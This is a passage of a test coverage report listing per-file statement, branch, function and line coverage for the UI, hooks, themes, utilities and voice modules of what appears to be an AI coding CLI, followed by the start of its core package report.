  ...onMessage.tsx |   93.24 |       85 |     100 |   93.24 | 73-75,77,79       
  ...nMessages.tsx |   94.11 |    95.91 |   76.92 |   94.11 | ...47-349,352-355 
  DiffRenderer.tsx |   93.17 |    86.02 |     100 |   93.17 | ...07,235-236,302 
  ...tsDisplay.tsx |   97.08 |    77.77 |     100 |   97.08 | 95,97,106         
  ...usMessage.tsx |   81.73 |     65.9 |      75 |   81.73 | ...10-214,222,245 
  ...tsDisplay.tsx |   95.52 |    88.31 |     100 |   95.52 | ...40,142,175-180 
  ...ssMessage.tsx |    12.5 |      100 |       0 |    12.5 | 18-59             
  ...edMessage.tsx |   21.05 |      100 |       0 |   21.05 | 23-39             
  ...sMessages.tsx |   59.04 |       50 |    37.5 |   59.04 | ...21-126,147-159 
  ...ryMessage.tsx |   13.63 |      100 |       0 |   13.63 | 23-64             
  ...onMessage.tsx |   91.87 |    82.51 |     100 |   91.87 | ...49-651,658-660 
  ...upMessage.tsx |   98.38 |    95.38 |     100 |   98.38 | 188-191,422       
  ToolMessage.tsx  |   95.04 |    89.55 |     100 |   95.04 | ...1075,1120-1122 
 ...ponents/shared |    86.4 |    82.05 |    86.6 |    86.4 |                   
  ...ctionList.tsx |     100 |      100 |      75 |     100 |                   
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  ...rBoundary.tsx |     100 |      100 |     100 |     100 |                   
  MaxSizedBox.tsx  |   84.71 |    86.95 |      90 |   84.71 | ...67-568,685-686 
  MultiSelect.tsx  |   93.58 |       75 |     100 |   93.58 | ...43,199-201,211 
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  ...ontroller.tsx |     100 |    83.33 |     100 |     100 | 73,93-95          
  ...eSelector.tsx |     100 |       60 |     100 |     100 | 40-45             
  ...lableList.tsx |   90.37 |    82.85 |   18.18 |   90.37 | ...60-63,65,73-76 
  StaticRender.tsx |     100 |      100 |     100 |     100 |                   
  TextInput.tsx    |    80.8 |    67.79 |      80 |    80.8 | ...36-240,252-258 
  ...ontroller.tsx |     100 |    81.81 |     100 |     100 | 59-62             
  ...apsedTime.tsx |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |     100 |      100 |     100 |     100 |                   
  ...lizedList.tsx |   91.49 |    86.66 |   83.33 |   91.49 | ...18-846,859,959 
  text-buffer.ts   |   85.98 |    81.78 |   97.91 |   85.98 | ...2664,2762-2763 
  ...er-actions.ts |   73.93 |    67.22 |     100 |   73.93 | ...32-733,934-936 
 ...ponents/skills |    3.99 |      100 |       0 |    3.99 |                   
  ...gerDialog.tsx |    3.99 |      100 |       0 |    3.99 | 79-137,140-678    
 ...ents/subagents |   30.87 |        0 |       0 |   30.87 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
  reducers.tsx     |    12.1 |      100 |       0 |    12.1 | 33-190            
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |   10.95 |      100 |       0 |   10.95 | ...1,56-57,60-102 
 ...bagents/create |    9.13 |      100 |       0 |    9.13 |                   
  ...ionWizard.tsx |    7.28 |      100 |       0 |    7.28 | 34-299            
  ...rSelector.tsx |   14.75 |      100 |       0 |   14.75 | 26-85             
  ...onSummary.tsx |    4.26 |      100 |       0 |    4.26 | 27-331            
  ...tionInput.tsx |    8.63 |      100 |       0 |    8.63 | 23-177            
  ...dSelector.tsx |   33.33 |      100 |       0 |   33.33 | 20-21,26-27,36-63 
  ...nSelector.tsx |    37.5 |      100 |       0 |    37.5 | 20-21,26-27,36-58 
  ...EntryStep.tsx |   12.76 |      100 |       0 |   12.76 | 34-78             
  ToolSelector.tsx |    4.16 |      100 |       0 |    4.16 | 31-253            
 ...bagents/manage |    21.6 |    59.52 |   27.27 |    21.6 |                   
  ...ctionStep.tsx |   10.25 |      100 |       0 |   10.25 | 21-103            
  ...eleteStep.tsx |   20.93 |      100 |       0 |   20.93 | 23-62             
  ...tEditStep.tsx |   25.53 |      100 |       0 |   25.53 | ...2,37-38,51-124 
  ...ctionStep.tsx |   35.61 |    59.52 |     100 |   35.61 | ...21-433,438-440 
  ...iewerStep.tsx |   13.72 |      100 |       0 |   13.72 | 18-73             
  ...gerDialog.tsx |    6.74 |      100 |       0 |    6.74 | 35-341            
 ...mponents/views |   69.22 |    71.81 |   61.11 |   69.22 |                   
  ContextUsage.tsx |   71.49 |    64.86 |      80 |   71.49 | ...30-436,473-567 
  DoctorReport.tsx |     9.8 |      100 |       0 |     9.8 | 25-54,57-131      
  ...sionsList.tsx |   88.05 |       75 |     100 |   88.05 | 70-77             
  McpStatus.tsx    |   92.01 |     73.8 |     100 |   92.01 | ...36,175-177,262 
  SkillsList.tsx   |   20.51 |      100 |       0 |   20.51 | 17-20,27-57       
  ToolsList.tsx    |      75 |    81.81 |     100 |      75 | 39-42,59-67       
 src/ui/contexts   |   86.47 |    82.34 |   86.48 |   86.47 |                   
  ...ewContext.tsx |   91.66 |       90 |      75 |   91.66 | ...89-193,279-289 
  AppContext.tsx   |      80 |       50 |     100 |      80 | 19-20             
  ...ewContext.tsx |   93.83 |    68.51 |   42.85 |   93.83 | ...44,281-285,317 
  ...igContext.tsx |   81.81 |       50 |     100 |   81.81 | 15-16             
  ...ssContext.tsx |   85.65 |    84.85 |     100 |   85.65 | ...1612-1614,1620 
  ...owContext.tsx |   91.07 |    81.81 |     100 |   91.07 | 47-48,60-62       
  ...deContext.tsx |     100 |      100 |      50 |     100 |                   
  ...onContext.tsx |   80.77 |       80 |    92.3 |   80.77 | ...31-434,443-446 
  ...gsContext.tsx |     100 |      100 |     100 |     100 |                   
  ...usContext.tsx |     100 |      100 |     100 |     100 |                   
  ...ngContext.tsx |   71.42 |       50 |     100 |   71.42 | 17-20             
  ...utContext.tsx |   85.71 |      100 |   66.66 |   85.71 | 13-14             
  ...edContext.tsx |     100 |      100 |      50 |     100 |                   
  ...nsContext.tsx |   88.88 |       50 |     100 |   88.88 | 156-157           
  ...teContext.tsx |   86.66 |       50 |     100 |   86.66 | 237-238           
  ...deContext.tsx |      80 |     87.5 |      75 |      80 | ...11-112,118-120 
  ...rtContext.tsx |     100 |      100 |     100 |     100 |                   
 src/ui/daemon     |   89.51 |    76.92 |   95.65 |   89.51 |                   
  ...ui-adapter.ts |   89.51 |    76.92 |   95.65 |   89.51 | ...59,877-878,964 
 src/ui/editors    |   93.33 |    85.71 |   66.66 |   93.33 |                   
  ...ngsManager.ts |   93.33 |    85.71 |   66.66 |   93.33 | 49,63-64          
 src/ui/hooks      |   86.07 |     84.2 |   87.81 |   86.07 |                   
  ...dProcessor.ts |   85.53 |    85.13 |     100 |   85.53 | ...-970,1017-1018 
  ...ention-ref.ts |   97.72 |       84 |     100 |   97.72 | 65                
  keyToAnsi.ts     |    3.92 |      100 |       0 |    3.92 | 19-77             
  ...esourceRef.ts |     100 |      100 |     100 |     100 |                   
  ...completion.ts |     100 |    95.45 |     100 |     100 | 95                
  ...ention-ref.ts |     100 |      100 |     100 |     100 |                   
  ...dProcessor.ts |   94.55 |    73.58 |     100 |   94.55 | ...87-288,293-294 
  ...dProcessor.ts |   86.83 |    71.86 |   83.33 |   86.83 | ...1536,1565-1569 
  ...rt-command.ts |     100 |      100 |     100 |     100 |                   
  ...sced-flush.ts |     100 |      100 |     100 |     100 |                   
  ...llm-stream.ts |   87.63 |    84.43 |   78.72 |   87.63 | ...5813-5815,5817 
  ...ng-enabled.ts |     100 |      100 |     100 |     100 |                   
  ...oice-input.ts |   92.41 |    82.08 |   66.66 |   92.41 | ...12,514-515,670 
  ...ke-repaint.ts |     100 |      100 |     100 |     100 |                   
  ...amingState.ts |   12.22 |      100 |       0 |   12.22 | 54-157            
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...dScrollbar.ts |     100 |      100 |     100 |     100 |                   
  ...ationFrame.ts |      42 |       75 |     100 |      42 | 42-44,53-59,62-87 
  ...odeCommand.ts |   58.82 |      100 |     100 |   58.82 | 28,33-48          
  ...enaCommand.ts |      85 |      100 |     100 |      85 | 23-24,29          
  ...aInProcess.ts |   27.92 |       80 |      25 |   27.92 | ...69-170,173-175 
  ...Completion.ts |   86.44 |    88.48 |     100 |   86.44 | ...14-515,525-541 
  ...ifications.ts |   87.82 |    96.77 |     100 |   87.82 | 138-152           
  ...tIndicator.ts |   88.28 |    81.57 |     100 |   88.28 | ...66,175,179-187 
  ...waySummary.ts |   96.26 |       75 |     100 |   96.26 | 126-128,170       
  ...ndTaskView.ts |   94.89 |    77.55 |     100 |   94.89 | 164-168,257,263   
  ...chedScroll.ts |     100 |      100 |     100 |     100 |                   
  ...ketedPaste.ts |    23.8 |      100 |       0 |    23.8 | 19-37             
  ...nchCommand.ts |   96.03 |    88.75 |     100 |   96.03 | ...04-205,362-365 
  ...ompletion.tsx |   97.09 |    87.23 |     100 |   97.09 | ...23-324,334-335 
  ...dMigration.ts |    92.1 |    88.88 |     100 |    92.1 | 42-44             
  useCompletion.ts |   96.29 |    90.56 |     100 |   96.29 | ...17-218,222-223 
  ...nitMessage.ts |     100 |      100 |     100 |     100 |                   
  ...extualTips.ts |   78.26 |       50 |     100 |   78.26 | ...2,75-79,96-104 
  ...eteCommand.ts |   89.52 |    90.69 |     100 |   89.52 | ...98-106,114-115 
  ...ialogClose.ts |   36.11 |       10 |     100 |   36.11 | ...89-195,202-207 
  useDiffData.ts   |   11.62 |      100 |       0 |   11.62 | 44-87             
  ...oublePress.ts |   53.12 |       75 |     100 |   53.12 | 33-35,41-54       
  ...orSettings.ts |     100 |      100 |     100 |     100 |                   
  ...Completion.ts |   99.12 |    97.67 |     100 |   99.12 | 182-183           
  ...ionUpdates.ts |   93.72 |    92.98 |     100 |   93.72 | ...87-291,314-320 
  ...agerDialog.ts |   88.88 |      100 |     100 |   88.88 | 21,25             
  ...backDialog.ts |    63.9 |    76.47 |   66.66 |    63.9 | ...66-168,190-191 
  useFocus.ts      |     100 |      100 |     100 |     100 |                   
  ...olderTrust.ts |     100 |    93.33 |     100 |     100 | 62                
  ...ggestions.tsx |   96.47 |    78.94 |     100 |   96.47 | 121,155-156       
  ...BranchName.ts |     100 |    94.44 |     100 |     100 | 54                
  ...oryManager.ts |   98.44 |     98.9 |     100 |   98.44 | 157-160           
  ...ooksDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...stListener.ts |     100 |      100 |     100 |     100 |                   
  ...nAuthError.ts |   76.19 |       50 |     100 |   76.19 | 39-40,43-45       
  ...putHistory.ts |   92.59 |    85.71 |     100 |   92.59 | 63-64,72,94-96    
  useKeypress.ts   |     100 |      100 |     100 |     100 |                   
  ...rdProtocol.ts |   36.36 |      100 |       0 |   36.36 | 24-31             
  ...unchEditor.ts |   22.58 |      100 |      50 |   22.58 | 11-32,44-85       
  ...gIndicator.ts |     100 |    96.66 |     100 |     100 | 109               
  useLogger.ts     |      16 |      100 |       0 |      16 | 15-45             
  useMCPHealth.ts  |   10.52 |      100 |       0 |   10.52 | 36-75             
  ...cpApproval.ts |   93.12 |    86.11 |     100 |   93.12 | ...24-127,139-140 
  useMcpDialog.ts  |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...moryDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...oryMonitor.ts |   83.14 |    78.57 |     100 |   83.14 | 54-63,74-79       
  ...ssageQueue.ts |     100 |    94.94 |     100 |     100 | ...43,279,349,359 
  ...delCommand.ts |     100 |       96 |     100 |     100 | 61                
  ...ouseEvents.ts |   94.89 |       95 |   83.33 |   94.89 | 78-82             
  ...raseCycler.ts |   84.74 |    76.47 |     100 |   84.74 | ...49,52-53,69-71 
  ...rredEditor.ts |   58.33 |    22.22 |     100 |   58.33 | 23-27,29-33       
  ...derUpdates.ts |   85.29 |    80.28 |    92.3 |   85.29 | ...36,351-361,441 
  useQwenAuth.ts   |     100 |      100 |     100 |     100 |                   
  ...lScheduler.ts |   89.13 |     86.9 |     100 |   89.13 | ...61-463,496-506 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-7               
  ...umeCommand.ts |   96.51 |    90.19 |     100 |   96.51 | 279,306-311       
  ...ompletion.tsx |   90.67 |    83.33 |     100 |   90.67 | ...02,105,138-141 
  ...ectionList.ts |   97.12 |    96.19 |     100 |   97.12 | ...92-193,247-250 
  ...sionPicker.ts |   92.87 |    90.35 |     100 |   92.87 | ...99-501,503-505 
  ...earchInput.ts |     100 |    97.29 |     100 |     100 | 82                
  ...ngsCommand.ts |   18.75 |      100 |       0 |   18.75 | 10-25             
  ...ellHistory.ts |   93.28 |    80.95 |     100 |   93.28 | ...96,153-154,164 
  ...oryCommand.ts |   85.48 |    58.33 |     100 |   85.48 | 22-28,40,71       
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...Completion.ts |   82.79 |    85.33 |   94.73 |   82.79 | ...86-688,696-732 
  ...tateAndRef.ts |     100 |      100 |     100 |     100 |                   
  ...tatsDialog.ts |     100 |      100 |     100 |     100 |                   
  useStatusLine.ts |   97.32 |    93.93 |     100 |   97.32 | ...18-422,518-525 
  ...eateDialog.ts |   88.23 |      100 |     100 |   88.23 | 14,18             
  ...mInProcess.ts |   27.35 |       80 |      25 |   27.35 | ...82-183,186-188 
  ...tification.ts |     100 |     87.5 |     100 |     100 | 50                
  ...alProgress.ts |   67.34 |    58.82 |   66.66 |   67.34 | 52-53,61-68,79-85 
  ...rminalSize.ts |     100 |      100 |     100 |     100 |                   
  ...emeCommand.ts |    79.2 |    35.29 |     100 |    79.2 | ...15-116,120-121 
  useTimer.ts      |   97.59 |    94.73 |     100 |   97.59 | 17-18             
  ...lMigration.ts |       0 |        0 |       0 |       0 |                   
  ...rustModify.ts |     100 |    90.47 |     100 |     100 | 112,134           
  useTurnDiffs.ts  |   95.12 |    78.57 |     100 |   95.12 | 133-134,156-157   
  ...elcomeBack.ts |   87.36 |     90.9 |     100 |   87.36 | ...,94-96,114-115 
  ...reeSession.ts |   93.75 |       70 |     100 |   93.75 | 47-48,72          
  vim.ts           |      74 |    67.56 |   69.23 |      74 | ...1854-1861,1869 
 src/ui/layouts    |   91.25 |    89.47 |     100 |   91.25 |                   
  ...AppLayout.tsx |   90.99 |     87.5 |     100 |   90.99 | 61-63,111-116,152 
  ...AppLayout.tsx |   91.66 |    92.85 |     100 |   91.66 | 75-80             
 src/ui/model      |   97.91 |    98.36 |     100 |   97.91 |                   
  ...ggregation.ts |     100 |      100 |     100 |     100 |                   
  ...ming-model.ts |   97.43 |    97.72 |     100 |   97.43 | 261-265           
 src/ui/models     |   80.72 |       80 |   71.42 |   80.72 |                   
  ...ableModels.ts |   80.72 |       80 |   71.42 |   80.72 | ...,61-71,125-127 
 ...noninteractive |     100 |      100 |    6.66 |     100 |                   
  ...eractiveUi.ts |     100 |      100 |    6.66 |     100 |                   
 src/ui/selection  |   93.56 |    86.19 |     100 |   93.56 |                   
  screen-buffer.ts |   94.73 |    66.66 |     100 |   94.73 | 51-52             
  ...ion-coords.ts |     100 |      100 |     100 |     100 |                   
  ...ction-span.ts |   93.81 |     92.1 |     100 |   93.81 | ...1,45-46,99-100 
  ...tion-state.ts |     100 |      100 |     100 |     100 |                   
  ...ction-text.ts |   93.85 |    93.44 |     100 |   93.85 | 30-34,130-131     
  ...selection.tsx |   91.88 |    78.57 |     100 |   91.88 | ...16-417,446-447 
 src/ui/state      |      95 |    81.81 |     100 |      95 |                   
  extensions.ts    |      95 |    81.81 |     100 |      95 | 69-70,89          
 src/ui/themes     |    98.5 |    73.17 |     100 |    98.5 |                   
  ansi-light.ts    |     100 |      100 |     100 |     100 |                   
  ansi.ts          |     100 |      100 |     100 |     100 |                   
  atom-one-dark.ts |     100 |      100 |     100 |     100 |                   
  ayu-light.ts     |     100 |      100 |     100 |     100 |                   
  ayu.ts           |     100 |      100 |     100 |     100 |                   
  color-utils.ts   |   99.23 |    97.05 |     100 |   99.23 | 277-278           
  default-light.ts |     100 |      100 |     100 |     100 |                   
  default.ts       |     100 |      100 |     100 |     100 |                   
  ...inal-theme.ts |   88.59 |    85.96 |     100 |   88.59 | ...57-261,266-270 
  dracula.ts       |     100 |      100 |     100 |     100 |                   
  github-dark.ts   |     100 |      100 |     100 |     100 |                   
  github-light.ts  |     100 |      100 |     100 |     100 |                   
  googlecode.ts    |     100 |      100 |     100 |     100 |                   
  no-color.ts      |     100 |      100 |     100 |     100 |                   
  qwen-dark.ts     |     100 |      100 |     100 |     100 |                   
  qwen-light.ts    |     100 |      100 |     100 |     100 |                   
  ...tic-tokens.ts |     100 |      100 |     100 |     100 |                   
  ...-of-purple.ts |     100 |      100 |     100 |     100 |                   
  theme-manager.ts |   88.68 |    84.52 |     100 |   88.68 | ...83-392,397-398 
  theme.ts         |     100 |    38.02 |     100 |     100 | ...34-449,457-461 
  xcode.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/utils      |   87.98 |    86.07 |    96.1 |   87.98 |                   
  ...Colorizer.tsx |   80.31 |    85.41 |     100 |   80.31 | ...00-201,313-339 
  ...nRenderer.tsx |   80.07 |     75.6 |     100 |   80.07 | ...70,274,332-333 
  ...wnDisplay.tsx |   92.87 |     93.5 |     100 |   92.87 | ...,955,1002-1020 
  ...idDiagram.tsx |   87.79 |    95.34 |     100 |   87.79 | 156-179           
  ...eRenderer.tsx |   93.63 |    81.77 |   95.23 |   93.63 | ...47-750,803-808 
  ...odeDisplay.ts |   94.28 |    85.71 |     100 |   94.28 | 23,40             
  asciiCharts.ts   |    96.7 |     87.5 |     100 |    96.7 | 170-177,278       
  ...dWorkUtils.ts |     100 |      100 |     100 |     100 |                   
  ...boardUtils.ts |    52.9 |    74.15 |    92.3 |    52.9 | ...29,632-641,644 
  commandUtils.ts  |   98.61 |    93.27 |     100 |   98.61 | 189,217-218,424   
  computeStats.ts  |     100 |      100 |     100 |     100 |                   
  customBanner.ts  |   90.68 |    91.22 |     100 |   90.68 | ...13,324-327,334 
  displayUtils.ts  |   73.84 |    73.91 |     100 |   73.84 | ...34,36-40,42-46 
  ...coalescing.ts |     100 |      100 |     100 |     100 |                   
  formatters.ts    |   94.87 |    98.24 |     100 |   94.87 | 116-119           
  goal-runtime.ts  |   94.44 |    96.29 |     100 |   94.44 | 32-34             
  gradientUtils.ts |     100 |      100 |     100 |     100 |                   
  highlight.ts     |     100 |      100 |     100 |     100 |                   
  ...gap-notice.ts |     100 |      100 |     100 |     100 |                   
  ...oryMapping.ts |     100 |    95.65 |     100 |     100 | 45,151            
  historyUtils.ts  |   96.07 |     97.1 |     100 |   96.07 | 104-107           
  ...mage-parts.ts |   97.75 |       95 |     100 |   97.75 | 82-83             
  inline-math.ts   |   98.48 |    95.23 |     100 |   98.48 | 129-130           
  input-mouse.ts   |     100 |    85.71 |     100 |     100 | 48,93             
  isNarrowWidth.ts |     100 |      100 |     100 |     100 |                   
  ...olDetector.ts |   68.81 |       75 |   66.66 |   68.81 | ...27-132,160-161 
  latexRenderer.ts |   94.95 |     73.8 |     100 |   94.95 | ...76-178,184-187 
  layoutUtils.ts   |     100 |      100 |     100 |     100 |                   
  list-mouse.ts    |     100 |      100 |     100 |     100 |                   
  ...ightLoader.ts |     100 |       95 |     100 |     100 | 81                
  ...nUtilities.ts |   98.72 |    94.36 |     100 |   98.72 | 145-146           
  ...t-position.ts |     100 |     87.5 |     100 |     100 | 85                
  ...geRenderer.ts |   86.51 |    70.16 |   95.12 |   86.51 | ...1286,1326-1332 
  ...alRenderer.ts |   86.69 |     71.9 |     100 |   86.69 | ...1476,1513-1519 
  ...lsBySource.ts |     100 |    95.23 |     100 |     100 | 84                
  mouse.ts         |   92.85 |    74.19 |     100 |   92.85 | ...38,145,149-152 
  osc8.ts          |   91.33 |    79.03 |     100 |   91.33 | ...73,273,277-278 
  ...red-height.ts |   98.38 |    97.14 |     100 |   98.38 | 195-197           
  ...mConstants.ts |     100 |      100 |     100 |     100 |                   
  restoreGoal.ts   |     100 |      100 |     100 |     100 |                   
  ...storyUtils.ts |   84.37 |    81.09 |     100 |   84.37 | ...03-625,759-760 
  ...ickerUtils.ts |     100 |      100 |     100 |     100 |                   
  ...evel-label.ts |   77.77 |    66.66 |     100 |   77.77 | 18,22-24          
  ...are-cursor.ts |   89.47 |    85.71 |     100 |   89.47 | 39-44             
  ...ataService.ts |   93.17 |     79.1 |     100 |   93.17 | ...14,227,254-256 
  suggestions.ts   |     100 |      100 |     100 |     100 |                   
  ...izedOutput.ts |   95.19 |      100 |   88.88 |   95.19 | 121-126           
  ...nal-buffer.ts |     100 |      100 |     100 |     100 |                   
  ...e-renderer.ts |   90.61 |    83.44 |     100 |   90.61 | ...80,482-484,607 
  ...ize-reflow.ts |     100 |     92.3 |     100 |     100 | 57,62,209,217,347 
  ...wOptimizer.ts |     100 |    94.73 |     100 |     100 | 35,78             
  terminalSetup.ts |    4.37 |      100 |       0 |    4.37 | 44-393            
  textUtils.ts     |   98.71 |    95.72 |     100 |   98.71 | 292-293,478-479   
  ...background.ts |     100 |      100 |     100 |     100 |                   
  todoSnapshot.ts  |   95.81 |     92.3 |     100 |   95.81 | ...09-210,243-244 
  ...isplay-map.ts |     100 |      100 |     100 |     100 |                   
  updateCheck.ts   |     100 |    92.75 |     100 |     100 | 227-239,331       
  windowTitle.ts   |   96.55 |    94.73 |     100 |   96.55 | 56-57             
  ...ow-keyword.ts |     100 |      100 |     100 |     100 |                   
 ...i/utils/export |   75.03 |     60.1 |   94.59 |   75.03 |                   
  collect.ts       |   71.27 |    65.81 |      96 |   71.27 | ...90-633,655-656 
  index.ts         |     100 |      100 |     100 |     100 |                   
  normalize.ts     |   80.42 |    51.35 |     100 |   80.42 | ...59-364,376-378 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
  utils.ts         |     100 |      100 |     100 |     100 |                   
 ...ort/formatters |   52.92 |    47.22 |   71.42 |   52.92 |                   
  html.ts          |   84.61 |       50 |     100 |   84.61 | ...53,57-58,62-63 
  json.ts          |     100 |      100 |     100 |     100 |                   
  jsonl.ts         |   82.45 |     37.5 |     100 |   82.45 | ...48,50-51,65-66 
  markdown.ts      |   36.32 |    47.05 |      50 |   36.32 | ...16-219,233-295 
 src/ui/voice      |   81.24 |    79.78 |   81.69 |   81.24 |                   
  ...d-recorder.ts |     6.2 |      100 |       0 |     6.2 | ...33-159,162-163 
  ...o-recorder.ts |   84.61 |    93.33 |   57.14 |   84.61 | ...16-117,131-136 
  ...me-session.ts |   91.09 |     92.1 |     100 |   91.09 | ...99,305,316-319 
  sox-recorder.ts  |    92.7 |    71.87 |     100 |    92.7 | ...34-135,153-154 
  ...ailability.ts |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |     100 |      100 |     100 |     100 |                   
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  ...e-recorder.ts |   88.29 |    67.74 |   81.81 |   88.29 | ...,98-99,112,115 
  voice-refine.ts  |     100 |    93.33 |     100 |     100 | 92                
  ...ream-retry.ts |   86.79 |       70 |     100 |   86.79 | 16-18,48-49,59-60 
  ...am-session.ts |   88.02 |    66.66 |   84.61 |   88.02 | ...26,343-345,363 
  ...ranscriber.ts |     100 |      100 |     100 |     100 |                   
 src/utils         |   92.23 |    89.82 |   96.12 |   92.23 |                   
  ...p-profiler.ts |   98.39 |    92.59 |     100 |   98.39 | 141,185,235       
  acpModelUtils.ts |   97.36 |    95.09 |     100 |   97.36 | ...09-210,214-215 
  apiPreconnect.ts |   96.74 |    94.59 |     100 |   96.74 | 167-170           
  ...ol-call-id.ts |   84.61 |       60 |     100 |   84.61 | 26-27,37-38       
  checks.ts        |   33.33 |      100 |       0 |   33.33 | 23-28             
  ...-api-error.ts |     100 |    96.42 |     100 |     100 | 14                
  cleanup.ts       |   84.05 |    94.11 |      80 |   84.05 | 80,111-121        
  ...y-identity.ts |   89.22 |    85.18 |     100 |   89.22 | ...23-424,431-432 
  ...Calculator.ts |     100 |      100 |     100 |     100 |                   
  cpuProfiler.ts   |   70.73 |    73.23 |   88.88 |   70.73 | ...27,430-431,438 
  deepMerge.ts     |     100 |       90 |     100 |     100 | 50-52,58          
  ...re-runtime.ts |     100 |      100 |     100 |     100 |                   
  ...putCapture.ts |   90.65 |    86.31 |     100 |   90.65 | ...73,371,373-374 
  ...arResolver.ts |   97.14 |    96.55 |     100 |   97.14 | 125-126           
  errors.ts        |   97.56 |    94.64 |     100 |   97.56 | 69-70,304-305     
  events.ts        |     100 |      100 |     100 |     100 |                   
  ...on-mention.ts |   88.48 |     82.6 |     100 |   88.48 | ...56-160,164-168 
  gitUtils.ts      |   92.85 |    86.66 |     100 |   92.85 | ...13-116,164-167 
  ...tyWarnings.ts |     100 |      100 |     100 |     100 |                   
  ...lationInfo.ts |   97.81 |    94.69 |     100 |   97.81 | ...03,420-421,466 
  ...projection.ts |   95.27 |    95.58 |     100 |   95.27 | 140-145           
  jsonc-editor.ts  |   93.18 |    92.66 |     100 |   93.18 | ...80-381,384-385 
  load-undici.ts   |     100 |      100 |     100 |     100 |                   
  ...npm-update.ts |   86.64 |    77.02 |     100 |   86.64 | ...03-304,335-345 
  math.ts          |       0 |        0 |       0 |       0 | 1-15              
  ...er-mention.ts |     100 |    66.66 |     100 |     100 | 14,30,44-46       
  ...iagnostics.ts |   94.57 |    83.01 |   88.88 |   94.57 | ...05,311,315-317 
  ...serMessage.ts |     100 |      100 |     100 |     100 |                   
  ...onfigUtils.ts |   94.25 |    91.17 |     100 |   94.25 | ...30,436,439-443 
  ...-part-list.ts |     100 |      100 |     100 |     100 |                   
  osc.ts           |   97.18 |      100 |    87.5 |   97.18 | 182-183           
  package.ts       |   88.88 |    85.71 |     100 |   88.88 | 31-32             
  paths.ts         |     100 |      100 |     100 |     100 |                   
  processUtils.ts  |    92.3 |       80 |     100 |    92.3 | 45-46             
  readStdin.ts     |   93.67 |    94.11 |   85.71 |   93.67 | 79-83             
  relaunch.ts      |   95.87 |    89.28 |     100 |   95.87 | 103-105,131       
  resolvePath.ts   |     100 |      100 |     100 |     100 |                   
  runBudget.ts     |   99.35 |    96.77 |     100 |   99.35 | 119               
  sandbox-path.ts  |     100 |      100 |     100 |     100 |                   
  ...xImageName.ts |     100 |    77.77 |     100 |     100 | 10,18             
  sandboxMounts.ts |     100 |      100 |     100 |     100 |                   
  ...-path-argv.ts |     100 |      100 |     100 |     100 |                   
  sessionPaths.ts  |   90.84 |    90.56 |     100 |   90.84 | ...81-182,185-186 
  shell-args.ts    |     100 |      100 |     100 |     100 |                   
  spawnWrapper.ts  |     100 |      100 |     100 |     100 |                   
  ...ate-verify.ts |     100 |      100 |     100 |     100 |                   
  ...upProfiler.ts |   98.47 |    94.66 |     100 |   98.47 | 132-133,308       
  ...upWarnings.ts |     100 |      100 |     100 |     100 |                   
  stdioHelpers.ts  |   76.66 |       90 |   83.33 |   76.66 | 93-99             
  ...alSequence.ts |     100 |    97.61 |     100 |     100 | 60                
  ...iffPreview.ts |   76.47 |       25 |     100 |   76.47 | 13,17,23-24       
  ...on-handler.ts |    73.8 |       75 |     100 |    73.8 | 17-18,25-26,67-73 
  ...entEmitter.ts |     100 |      100 |     100 |     100 |                   
  ...ansionHook.ts |     100 |      100 |     100 |     100 |                   
  ...upWarnings.ts |   87.75 |       75 |     100 |   87.75 | 47-48,53-54,57-58 
  version.ts       |     100 |    66.66 |     100 |     100 | 11                
  ...ingHandler.ts |     100 |      100 |     100 |     100 |                   
  ...WithBackup.ts |   65.04 |    77.77 |     100 |   65.04 | 97,112,133-172    
 ...s/housekeeping |   94.35 |    94.11 |     100 |   94.35 |                   
  cleanup.ts       |   92.59 |    93.75 |     100 |   92.59 | ...02-205,209-211 
  ...eractionAt.ts |     100 |      100 |     100 |     100 |                   
  throttledOnce.ts |   95.95 |    93.93 |     100 |   95.95 | 77-78,153-154     
-------------------|---------|----------|---------|---------|-------------------
Core Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   88.76 |    87.21 |   90.53 |   88.76 |                   
 src               |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/__mocks__/fs  |       0 |        0 |       0 |       0 |                   
  promises.ts      |       0 |        0 |       0 |       0 | 1-48              
 src/agents        |   90.26 |    84.51 |   94.55 |   90.26 |                   
  ...transcript.ts |   88.49 |    84.09 |     100 |   88.49 | ...32,640,646-650 
  ...ent-resume.ts |   85.74 |       78 |    85.1 |   85.74 | ...1803-1807,1810 
  ...ound-tasks.ts |   95.19 |    90.75 |   96.42 |   95.19 | ...1889,1897-1898 
  forkedAgent.ts   |   93.21 |    83.47 |   94.44 |   93.21 | ...94,702,707-714 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...ent-result.ts |    96.8 |    92.68 |     100 |    96.8 | 106,129-131       
  ...n-registry.ts |   95.27 |    88.23 |   98.33 |   95.27 | ...1478,1492-1494 
  ...w-snapshot.ts |   75.73 |    72.22 |    87.5 |   75.73 | ...21,445,452-454 
  worktree-pin.ts  |     100 |    88.23 |     100 |     100 | 78,99             
 src/agents/arena  |   76.87 |    68.43 |   78.94 |   76.87 |                   
  ...gentClient.ts |   79.47 |    88.88 |   81.81 |   79.47 | ...68-183,189-204 
  ArenaManager.ts  |    75.8 |    65.46 |   78.57 |    75.8 | ...1879,1885-1886 
  arena-events.ts  |   64.44 |      100 |      50 |   64.44 | ...71-175,178-183 
  diff-summary.ts  |    87.5 |    72.34 |     100 |    87.5 | ...32-133,137-138 
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
